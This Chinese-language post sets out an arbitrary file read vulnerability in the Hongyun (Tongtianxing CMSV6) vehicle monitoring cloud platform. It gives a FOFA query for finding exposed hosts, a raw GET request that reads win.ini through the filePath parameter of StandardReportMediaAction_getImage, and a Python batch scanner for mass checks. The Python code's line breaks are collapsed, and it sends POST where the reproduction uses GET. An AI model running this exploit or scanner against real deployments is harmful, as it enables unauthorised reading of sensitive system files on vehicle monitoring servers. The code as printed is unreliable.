本文主要是介绍鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1、漏洞描述
鸿运主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控,保障IT系统安全、稳定、可靠运行。
鸿运主动安全监控云平台StandardReportMediaAction_getImage存在任意文件读取漏洞,攻击者可利用该漏洞读取系统敏感文件。
2、fofa查询语句
body="./open/webApi.html"||body="/808gps/"
3、影响版本
鸿运(通天星CMSV6车载)主动安全监控云平台
4、漏洞复现
GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
5、poc
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):with open('{}'.format(file),'r',encoding='utf-8') as f:for i in f:i = i.replace('\n', '')send_req("http://"+i)
def send_req(url_check):print('{} runing Check'.format(url_check))url = url_check + '/808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100'header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)','Accept': '*/*','Connection': 'Keep-Alive'}try:requests.packages.urllib3.disable_warnings()response = requests.post(url=url,headers=header,timeout=3)if response.status_code == 200:print('存在鸿运(通天星CMSV6车载)主动安全监控云平台存在任意文件读取漏洞,请尽快修复漏洞!!!')except Exception as e: print(e)pass
if __name__ == '__main__':if file is None:print('请在当前目录下新建需要检测的url.txt')else:get_url(file)
这篇关于鸿运(通天星CMSV6车载)主动安全监控云平台任意文件读取的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!